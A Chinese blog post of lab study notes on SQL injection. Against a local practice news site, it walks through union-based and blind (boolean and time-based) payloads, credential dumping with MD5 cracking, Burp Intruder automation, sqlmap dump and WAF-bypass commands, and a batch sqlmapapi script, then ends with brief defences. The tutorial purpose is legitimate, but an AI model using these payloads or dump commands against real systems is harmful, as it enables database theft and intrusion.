day37-SQL注入的方式

最新推荐文章于 2024-07-12 07:13:33 发布
最新推荐文章于 2024-07-12 07:13:33 发布
阅读量612 收藏 11
点赞数 12
文章标签： sql 数据库
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/liangjiao_shou/article/details/139355292
版权

SQL注入分类

按注入位置分类

    GET注入：注入字符在URL参数中
    POST注入：注入字段在POST提交的数据中，如“姓名”输入框
    Cookie注入：注入字段在Cookie数据中
    其他注入：HTTP请求的其他内容触发的SQL注入漏洞

按参数类型分类

数字型注入：输入参数为整型时，如id、页码等
字符型注入：输入参数为字符串时，如姓名、地址等
		字符型注入一般要用单引号或双引号进行闭合

按结果反馈分类

普通SQL注入
		网页会展示来自数据库服务器的错误信息，提示SQL语法不正确等
		一般在页面上直接显示执行SQL语句的结果
SQL盲注
		网页上一般不会直接返回具体的数据库错误或语法错误
		一般在页面上不会直接显示SQL语句执行的结果
		
普通SQL注入思路
	普通SQL注入：执行注入SQL语句将敏感信息展示出来，并进行进一步的操作。
            1.判断是否存在注入点（字符型、数字型）
            2.猜解SQL查询语句中的字段数
            3.确定显示的字段位置
            4.获取当前数据库
            5.获取数据库中的表
            6．获取表中的字段名
            7．下载数据（脱库）
	操作方法：联合查询、报错注入

SQL盲注思路
	SQL盲注不会展现任何数据库报错内容，需要构造真或假的问题对数据库进行“提问”，注入方式主要有两种：基于布尔值与基于时间
        1.判断是否存在注入点，数字型、字符型
        2.猜解当前数据库名
        3．猜解数据库中的表名
        4.猜解表中的字段名
        5.猜解数据
	操作方法：布尔盲注、延时注入

手工注入

手工普通SQL注入全过程，具体要求如下：
    1）判断是否存在注入点（字符型、数字型）
    2）猜解SQL查询语句中的字段数
    3）确定显示的字段位置
    4）获取当前数据库
    5）获取数据库中的表
    6）获取表中的字段名
    7）下载数据（脱库）

测试环境准备：
	phpstudy2016
	news.zip解压网站

Firefox安装组件HackBar

1.打开“附加组件”界面，取消“自动更新附加组件”，然后选择“从文件安装附加组件…”，浏览安装HackBar组件
2.按F12键，查看HackBar是否正常安装

在这里插入图片描述

​ 使用： 点击 Load URL ----------> Split URL ------------->Execute

在这里插入图片描述

1、判断是否存在注入点（字符型、数字型）

访问news靶场网站，打开某新闻页面，使用HackBar组件修改id参数，以判断是否存在数字型注入点

http://192.168.10.73/news/show.php
?id=55 and 1=1	
		
后台拼接的SQL语句可能为： select * from news where id = 46 and 1=1

在这里插入图片描述

修改id参数，以判断是否存在字符型注入点，如图所示，说明不存在（'）字符型注入点

	后台拼接的SQL语句可能为： select * from news where id = 46' and 1=1 --+   #--+ SQL语句里可以进行注释

在这里插入图片描述

2、猜解SQL查询语句中的字段数

1）使用order by关键字，变化其参数猜解表中字段数

http://192.168.10.73/news/show.php
?id=55 order by 15

在这里插入图片描述

2）通过变换参数得知字段数为15

在这里插入图片描述

3、确定显示的字段位置

构造union select联合查询语句，确定显示字段的位置是3和11字段

http://192.168.10.73/news/show.php
?id=-55 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

在这里插入图片描述

4、获取当前数

使用database()函数获取当前数据库名称

http://192.168.10.73/news/show.php
?id=-55 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15

在这里插入图片描述

5、获取数据库中的表

​ 通过查询MySQL元数据库information_schema中tables表table_name字段获取数据库news中所有表名

http://192.168.10.73/news/show.php
?id=-55 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema = 'news'

6E6577735F61727469636C652C6E6577735F63617465676F72792C6E6577735F66696C652C6E6577735F667269656E646C696E6B2C6E6577735F6D6573736167652C6E6577735F6E6F746963652C6E6577735F706167652C6E6577735F7573657273
16进制数据解码后HexDecode
	news_article,news_category,news_file,news_friendlink,news_message,news_notice,news_page,news_users
	
现在转码网址：https://tool.hiofd.com/hex-convert-string-online/#google_vignette

在这里插入图片描述

6、获取表中字段名

通过查询MySQL元数据库information_schema中columns表column_name字段，获取news_users表中所有字段名

http://192.168.10.73/news/show.php
?id=-55 union select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name='news_users'


7573657269642C757365726E616D652C70617373776F7264
16进制数据解码后HexDecode
	userid,username,password

在这里插入图片描述

7、下载数据（脱库)

查询news_users表中username、password字段中数据

http://192.168.10.73/news/show.php
?id=-55 union select 1,2,hex(concat(username,':',password)),4,5,6,7,8,9,10,11,12,13,14,15 from news_users

61646D696E3A6531306164633339343962613539616262653536653035376632306638383365
16进制数据解码后HexDecode
	admin:e10adc3949ba59abbe56e057f20f883e
		e10adc3949ba59abbe56e057f20f883e md5撞库解码 123456

在这里插入图片描述

SQL盲注

SQL盲注全过程，具体要求如下：
        1）判断是否存在注入点（布尔、延时）
        2）猜解当前数据库名
        3）猜解数据库中的表名
        4）猜解表中的字段名
        5）猜解数据
        
        1）判断是否存在注入点（布尔、延时）
			  http://192.168.10.73/news/show.php?id=55 and 1=1    
			  http://192.168.10.73/news/show.php?id=55 and 1=2
			  http://192.168.10.73/news/show.php?id=55 and if((1=1),sleep(5),1)
			  http://192.168.10.73/news/show.php?id=55 and if((1=2),sleep(5),1)
		2）猜解当前数据库名	  
			  http://192.168.10.73/news/show.php?id=55 and length(database())=n
			  http://192.168.10.73/news/show.php?id=55 and ord(substr(database(),m,1))=n
		3）猜解数据库中的表名	  
			  http://127.0.0.1/news/show.php?id=55  and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='news'),n,1))=m
		4）猜解表中的字段名	
        	  http://192.168.10.73/news/show.php?id=55 and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'),m,1))=n
       	5）猜解数据
       		  http://192.168.10.73/news/show.php?id=55 and ord(substr((select group_concat(password) from news_users),1,1))=101

1、判断是否存在注入点（布尔、延时）

​ 1）构造“恒真”语句，判断页面布尔状态

http://192.168.10.73/news/show.php
?id=55 and 1=1

![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传]在这里插入图片描述

​ 2）构造“恒假”语句，判断页面布尔状态

http://192.168.10.73/news/show.php
?id=55 and 1=2

在这里插入图片描述

​ 3）构造条件“真”语句，判断是否页面延时

http://192.168.10.73/news/show.php
?id=55 and if((1=1),sleep(5),1)

可以通过“网络监视器”查看页面载入耗时    真的条件数据库延时显示不了数据

在这里插入图片描述

4）构造条件“假”语句，判断是否页面延时

http://192.168.10.73/news/show.php
?id=55 and if((1=2),sleep(5),1)
 
 	假的条件直接就拿到了数据

在这里插入图片描述

2、猜解当前数据库名

​ 1）构造语句猜解数据库长度，比如长度为3时，

http://192.168.10.73/news/show.php
?id=55 and length(database())=3

结合上面的是否存在注入点可以判断数据长度为3的条件是假

在这里插入图片描述

​ 比如长度为4时根据，页面布尔状态得知数据库长度为4

http://192.168.10.73/news/show.php
?id=55 and length(database())=4

在这里插入图片描述

​

​ 2）构造语句猜解数据库名称中第1个字母，比如其ASCII码是100，

http://192.168.10.73/news/show.php
?id=55 and ord(substr(database(),1,1))=100

在这里插入图片描述

​ 比如其ASCII码是110，猜解得知数据库名称第1个字母ASCII码是110，即“n”

http://192.168.10.73/news/show.php
?id=55 and ord(substr(database(),1,1))=110

依次拆解就能得到数据库名
http://127.0.0.1/news/show.php?id=55 and ord(substr(database(),n,1))=m

在这里插入图片描述

3）同理猜解数据库名称中第2个字母，得知数据库名称第2个字母ASCII码是101，即“e”

http://192.168.10.73/news/show.php
?id=55 and ord(substr(database(),2,1))=101

在这里插入图片描述

3、猜解数据库中表名

猜解数据库中表的第1个字母，得知数据库名称第1个字母ASCII码是110，即“n”，同理猜解其他位置字母

http://192.168.10.73/news/show.php
?id=55 and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='news'),1,1))=110

依次进行拆解得到数据的表名
http://127.0.0.1/news/show.php?id=55  and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='news'),n,1))=m

在这里插入图片描述

4、猜解表中的字段名

猜解news_users表中字段名中的第1个字母，得知表中字段第1个字母ASCII码是117，即“u”，同理猜解其他位置字母

http://192.168.10.73/news/show.php
?id=55 and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'),1,1))=117

依次拆解得到表命
http://192.168.10.73/news/show.php?id=55 and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'),m,1))=n

在这里插入图片描述

5、猜解数据

​ 猜解username字段中数据，得知username字段中数据第1个字母ASCII码是97，即“a”，同理猜解其他位置字母。

http://192.168.10.73/news/show.php
?id=55 and ord(substr((select group_concat(username) from news_users),1,1))=97

在这里插入图片描述

​ 猜解password字段中数据，得知password字段中数据第1个字母ASCII码是101，即“e”，同理猜解其他位置字母。

http://192.168.10.73/news/show.php
?id=55 and ord(substr((select group_concat(password) from news_users),1,1))=101

在这里插入图片描述

​ 总结：

        1）判断是否存在注入点（布尔、延时）
			  http://192.168.10.73/news/show.php?id=55 and 1=1    
			  http://192.168.10.73/news/show.php?id=55 and 1=2
			  http://192.168.10.73/news/show.php?id=55 and if((1=1),sleep(5),1)
			  http://192.168.10.73/news/show.php?id=55 and if((1=2),sleep(5),1)
		2）猜解当前数据库名	  
			  http://192.168.10.73/news/show.php?id=55 and length(database())=n
			  http://192.168.10.73/news/show.php?id=55 and ord(substr(database(),m,1))=n
		3）猜解数据库中的表名	  
			  http://127.0.0.1/news/show.php?id=55  and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='news'),n,1))=m
		4）猜解表中的字段名	
        	  http://192.168.10.73/news/show.php?id=55 and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'),m,1))=n
       	5）猜解数据
       		  http://192.168.10.73/news/show.php?id=55 and ord(substr((select group_concat(password) from news_users),1,1))=101

Burp Suite辅助手工注入

BurpSuite是用于攻击web应用程序的集成平台，包含了许多工具
    Proxy：代理器，拦截、查看、修改原始数据流
    Intruder：攻击器，对web应用程序进行攻击
    Repeater：中继器，修改、重发HTTP请求
    Comparer：对比器，信息差异比较工具

​ 安装火狐插件FoxyProxy，配置Firefox代理服务器

在这里插入图片描述

​ 开启FoxyProxy代理服务器

在这里插入图片描述

简单使用

1.开启代理服务器，发送请求数据

在这里插入图片描述

2.burp suite开启拦截后,发送到 Intruder(攻击器)

​ 2.1单个载荷就选择狙击手(Sniper)、两个以上选择集束炸弹(Clusterbomb)清除载荷，关键字处添加载荷

在这里插入图片描述

​ 2.2Payload设置

	猜解password，设置“m”、“n”为变量 分别对应载荷1  载荷2

在 payloads 选项卡中设置“m”的取值范围是1~50，“n”的取值范围是32~126，如图-25所示，最后单击     开始攻击

在这里插入图片描述

​ 结果进行排序，得到ascii的数字，在解码成字符即可/可以使用bp将SQL盲注和手动注入走遍

在这里插入图片描述

sqlmap

sqlmap是一个开源渗透测试工具，可以实现自动SQL注入
    完全支持MySQL、Oracle、SQLServer、DB2等多种数据库管理系统
    完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注
    入和堆查询注入
    支持下载数据库中的某个完整表，或部分数据
    支持搜索指定的数据库名、表名或列名
    支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列
    支持自动识别密码哈希格式并通过字典破解密码哈希

sqlmap.py 注入流程(GET)

1.判断是否存在sql注入点 
		sqlmap.py -u http://127.0.0.1/news/show.php?id=55
		
2.获取数据库服务器上所有数据库名  	
		sqlmap.py -u http://127.0.0.1/news/show.php?id=55 --dbs
		
3.获取正在使用的数据库名 
		sqlmap.py -u http://127.0.0.1/news/show.php?id=55 --current-db
		
4.获取数据库中数据表 
		sqlmap.py -u http://127.0.0.1/news/show.php?id=55 -D news --tables

5.获取字段名
		sqlmap.py  -u http://127.0.0.1/news/show.php?id=55 -D news -T news_users --columns
		
6.（拖库）获取所有数据
		sqlmap.py -u http://127.0.0.1/news/show.php?id=55 -D news -T news_users -C useid,username,password --dump
1.判断是否存在sql注入点
	-u:url     指定url地址

sqlmap.py -u http://127.0.0.1/news/show.php?id=55

在这里插入图片描述

2.获取数据库服务器上所有数据库名
		--dbs:databases    获取所有数据库名称

sqlmap.py -u http://127.0.0.1/news/show.php?id=55 --dbs

在这里插入图片描述

3.获取正在使用的数据库名
 	--current-db: current  当前的   db  database 数据库
 
sqlmap.py -u http://127.0.0.1/news/show.php?id=55 --current-db

在这里插入图片描述

4.获取数据库中数据表
sqlmap.py -u http://127.0.0.1/news/show.php?id=55 -D news --tables

)在这里插入图片描述

5.获取字段名
sqlmap.py  -u http://127.0.0.1/news/show.php?id=55 -D news -T news_users --columns

在这里插入图片描述

6.（拖库）获取所有数据
sqlmap.py -u http://127.0.0.1/news/show.php?id=55 -D news -T news_users -C username,password --dump

在这里插入图片描述

​ 总结：

1.判断是否存在sql注入点 
		sqlmap.py -u http://127.0.0.1/news/show.php?id=55		
2.获取数据库服务器上所有数据库名  	
		sqlmap.py -u http://127.0.0.1/news/show.php?id=55 --dbs		
3.获取正在使用的数据库名 
		sqlmap.py -u http://127.0.0.1/news/show.php?id=55 --current-db		
4.获取数据库中数据表 
		sqlmap.py -u http://127.0.0.1/news/show.php?id=55 -D news --tables
5.获取字段名
		sqlmap.py  -u http://127.0.0.1/news/show.php?id=55 -D news -T news_users --columns		
6.（拖库）获取所有数据
		sqlmap.py -u http://127.0.0.1/news/show.php?id=55 -D news -T news_users -C userid,username,password --dump

sqlmap.py POST注入流程

​ 1、开启 burpsuite 进行抓包POST请求的数据包

在这里插入图片描述

​ 2、将 burpsuite 进行抓包POST请求的数据包，保存为.txt 文本文件

在这里插入图片描述

​ 3、使用sqlmap.py 加载文件进行注入

检测是否存在注入点
	sqlmap.py -r login01.txt 
获取数据库
	sqlmap.py -r login01.txt  --dbs
获取正在使用的数据库名	
	sqlmap.py -r login01.txt --current-db
数据库中数据表 
    sqlmap.py -r login01.txt -D news --tables
获取字段名
	sqlmap.py -r login01.txt -D news -T news_users --columns	
（拖库）获取所有数据	
	sqlmap.py -r login01.txt -D news -D news -T news_users -C userid,username,password --dump

在这里插入图片描述

在这里插入图片描述

sqlmapapi.py

​ 通过api接口调用来实现自动化扫描，不然每个注入点，都需要我们手工的使用sqlmap;可以进行对个url扫描注入

​ 参考：https://www.freebuf.com/articles/web/265908.html

开发当前项目过程（利用sqlmapapi接口实现批量url注入安全检测
	获取sqlmapapi接口信息 sqlmapapi.py -s
	
    1 创建新任务记录任务ID @get("/task/new")
    2 设置任务ID扫描信息 @post("/option/<taskid>/set")
    3 开始扫描对应ID任务 @post("/scan/<taskid>/start")
    4 读取扫描状态判断结果 @get("/scan/<taskid>/status")
    5 如果结束删除ID并获取结果 @get("/task/<taskid>/delete")
    6 扫描结果查看 @get("/scan/<taskid>/data)
启动服务端
sqlmapapi.py -s

在这里插入图片描述

python脚本：可以进行批量注入检测

import requests
import json
import time

# 1、创建新任务记录任务ID
task_new_rul='http://127.0.0.1:8775/task/new'
resp = requests.get(task_new_rul)
task_id = resp.json()['taskid']
print(task_id)
			             #输出结果：a89fd1862793b8d6
#2、设置要扫描任务的URL    
data = {
    'url':'http://192.168.10.73/news/show.php?id=55'
}
headers={
    'Content-Type':'application/json'
}
task_set_url = 'http://127.0.0.1:8775/option/'+task_id+'/set'
print(task_set_url)
task_set_resp=requests.post(task_set_url,data=json.dumps(data),headers=headers)
print(task_set_resp.content.decode('utf-8'))
						#http://127.0.0.1:8775/option/a89fd1862793b8d6/set
                        #    {
                        #       "success": true
                        #   }    
#3、开始扫描对应ID任务
task_start_url = 'http://127.0.0.1:8775/scan/' + task_id + '/start'
task_start_resp = requests.post(task_start_url, data=json.dumps(data), headers=headers)
print(task_start_resp.content.decode('utf-8'))
						#	{
						#        "success": true
						#	}
#4、读取扫描状态判断结果            
#获取对应ID的扫描状态
#task_status_url='http://127.0.0.1:8775/scan/'+task_id+'/status'
#task_status_resp=requests.get(task_status_url)
#print(task_status_resp.content.decode('utf-8'))
#
						# {
                        #   "success": true,
                        #   "status": "not running",
                        #   "returncode": null
                        # }   
#5、扫描结果查看   
while 1:
    task_status_url = 'http://127.0.0.1:8775/scan/' + task_id + '/status'
    task_status_resp = requests.get(task_status_url)
    if 'running' in task_status_resp.content.decode('utf-8'): #任务可能在后台运行
        print('任务正在扫描中......')
        pass
    else:
        task_data_url='http://127.0.0.1:8775/scan/' + task_id + '/data'
        task_data_resp= requests.get(task_data_url)
        print(task_data_resp.content.decode('utf-8'))
        break
	time.sleep(3)

浏览器上进行访问：

http://127.0.0.1:8775/scan/ea6224bbe7f4d8bd/data

在这里插入图片描述

​

sqlmap过waf

sqlmap.py -u http://127.0.0.1/news/show.php?id=55 --tamper=low.py

sqlmap 目录下的tamper 存放罩一些python文件，参考进行编写

防御

1.代码层面

		intval(参数): 可以将参数转换成整型值

<?php

    header('Content-type:text/html;charset=utf-8');

    $url = '55 and 1=1';

    echo $url;
    echo '<br>';
    echo intval($url);

?>

​ addslashes(参数)：在参数字符串单引号或双引号前添加反斜线\

<?php

    header('Content-type:text/html;charset=utf-8');
    //addslashes(参数)：在参数字符串单引号或双引号前添加反斜线\

    $param = "55' and 1=1";

    echo $param;
    echo '<br>';
    echo addslashes($param);

?>

2.服务器配置层面进行防御

magic_quotes-gpc=on 开启注入防御,特殊字符进行转义

3.使用WAF进行SQL注入防御

WAF：web application firewall web应用防火墙

​ 网站安全狗

仅供学习使用
liangjiao_shou
关注
  • 12
    点赞
  • 踩
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
[0day]通达 OA v11.7 后台 SQL 注入到 RCE1
08-03
这种漏洞通常发生在 Web 应用程序中，攻击者可以通过用户输入、cookie 等方式，inject恶意 SQL 代码，从而获取数据库权限。 在通达 OA v11.7 版本中，攻击者可以通过构造特殊的 SQL 语句，绕过安全机制，获取数据库...
gamblingmaster2020#0day-1#74cms v5.0.1前台sql注入1
07-25
一、漏洞简介 二、漏洞影响 三、复现过程
1day广联达-EmailAccountOrgUserService-sql注入漏洞
weixin_43167326的博客
01-22 542
广联达Linkworks办公。
0day 未公开 宏景-pos_dept_post-sql注入漏洞复现
weixin_43167326的博客
06-05 892
宏景人力资源管理系统是一款集招聘管理、员工信息管理、薪资福利管理、绩效管理等功能于一体的综合人力资源管理软件。该系统通过整合各项人力资源业务，实现了数字化、自动化管理，有效提升了企业的人力资源管理效率。系统支持灵活的指标项自定义，满足企业个性化需求，并提供了完善的统计分析工具，帮助管理者深入了解企业现状，洞察问题与趋势。此外，宏景人力资源管理系统还支持移动端应用，方便用户随时随地处理人力资源业务。
Web安全Day1 - SQL注入、漏洞类型
念舒C.ying
10-19 1620
结构化查询语言（Structured Query Language，缩写：SQL），是一种特殊的编程语言，用于数据库中的标准数据查询语言。1986年10月，美国国家标准学会对SQL进行规范后，以此作为关系式数据库管理系统的标准语言（ANSI X3. 135-1986），1987年得到国际标准组织的支持下成为国际标准。不过各种通行的数据库系统在其实践过程中都对SQL规范作了某些编改和扩充。所以，实际上不同数据库系统之间的SQL不能完全相互通用。
【漏洞复现】（1day）宏景-ajax-sql注入exp与漏洞复现
weixin_56297026的博客
12-14 669
网络安全 渗透测试 sql注入 宏景-ajax 漏洞复现
1day-世纪信通-LoginForm-SQL注入漏洞复现
weixin_43167326的博客
05-06 713
世纪信通管理系统是一款功能强大的管理工具，旨在提升企业的管理效率和运营水平。该系统集成了项目管理、人力资源管理、财务管理和行政管理等多个模块，通过信息化手段，实现了企业内部各项业务的统一管理和高效运作。在项目管理方面，世纪信通管理系统提供了全生命周期的项目管理功能，包括项目启动、施工准备、施工管理、售后服务等，有助于企业对项目进行全面、精准的控制。同时，该系统还支持远程管理，使项目团队能够实时掌握项目进展，确保项目按计划推进。
T-SQL函数.pptx
10-27
- QUOTENAME(): 用于将字符串用特定字符括起，通常用于创建安全的SQL语句，防止SQL注入。 - REPLICATE(): 重复一个字符或字符串指定次数。 - REVERSE(): 反转字符串中的字符顺序。 - REPLACE(): 替换字符串中的...
Java-day-14-SQL-:1. Oracle数据库和Java集成（SQL）
04-29
`Statement`用于执行静态SQL，而`PreparedStatement`支持预编译的SQL，可以防止SQL注入，提高性能。 6. **结果集处理**：执行查询后，会返回一个`ResultSet`对象，它包含了查询的结果。我们可以遍历这个结果集，...
use-SQL-check-list.rar_VC++ SQL
09-21
这涉及到字符串操作和可能的SQL注入问题，因此确保使用参数化查询或预编译语句来提高安全性。 8. **ODBC和ADO**：VC++中常用的数据库访问接口有ODBC（Open Database Connectivity）和ADO（ActiveX Data Objects）。...
SQL性能优化策略
modelsetget的博客
07-08 486
你不得不知的SQL调优策略笔记
F4搜索帮助和按条件写sql
m0_60109224的博客
07-08 264
2.按条件读取刚刚写的sql数据，if sy-subrc 中可以继续读。3.搜索帮助用函数和sql实现。4.根据屏幕输入数据筛选实现。
如何解决 PostgreSQL 中由于索引不当导致的性能下降问题？
最新发布
技术笔记
07-12 386
比如说，有一个订单表，其中“订单日期”这个列经常被用于按时间范围查询订单，但却没有为其创建索引，这就会导致数据库在查询时需要遍历整个表，极大地降低了查询速度。命令，我们可以查看查询的执行计划。再举一个例子，如果我们发现某个表上存在多个类似的索引，比如“idx_age_1”和“idx_age_2”，并且它们的定义几乎相同，这时候就可以考虑删除其中一个冗余的索引，以减少维护成本和提高性能。然而，就像任何复杂的系统一样，它也可能会遇到性能方面的挑战，其中由于索引不当导致的性能下降问题是比较常见且令人头疼的。
SQL面试题-留存率计算
xiao4816的博客
07-07 320
计算的是整段时间范围内，每一天为基准的所有的留存1、2、7天的用户数。计算的是用户首次登陆时间为基准时间，计算该基准时间之后的n日留存率。方法一的优势是可以一次性计算出，每天的不同时间范围的留存率。缺点：如果要计算n天留存需要增加代码量。但是不是很直观，并且计算量比较大。优点：代码直观好理解。
SQL Server设置端口：跨平台指南
招风的黑耳CSDN
07-09 580
在使用SQL Server时，设置或修改其监听的端口是确保数据库服务安全访问和高效管理的重要步骤。由于SQL Server可以部署在多种操作系统上，包括Windows、Linux和Docker容器等，因此设置端口的步骤和方法也会因平台而异。本文将为您提供一个跨平台的指南，帮助您在不同环境下设置SQL Server的端口。
数据如何查询
qq_46863837的博客
07-08 1204
只有学会DQL，才是真正的进入数据库的世界
怎样优化 PostgreSQL 中对 XML 数据的存储和查询？
技术笔记
07-08 868
在 PostgreSQL 中处理 XML 数据时，为了实现高效的存储和查询，需要采取一系列的优化策略。以下将详细探讨如何优化 PostgreSQL 中对 XML 数据的存储和查询，并提供相应的解决方案和示例代码。
PostgreSQL 中如何实现数据的增量更新和全量更新的平衡？
技术笔记
07-09 937
在数据库管理中，数据的更新操作是常见的任务。对于大型数据集或高并发的系统，选择合适的更新策略至关重要。增量更新和全量更新是两种常见的数据更新方式，如何在 PostgreSQL 中平衡这两种更新方式以确保数据的一致性、性能和可靠性是一个值得深入探讨的问题。
HW2020-0day总结1
08-03
1. 用友GRP-u8 SQL注入：这是针对用友GRP-u8系统的一个SQL注入漏洞，攻击者可以通过构造恶意的SQL语句来执行未授权的操作，比如获取敏感数据、篡改数据库内容或者控制服务器。 2. 天融信TopApp-LB SQL注入：天融信...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值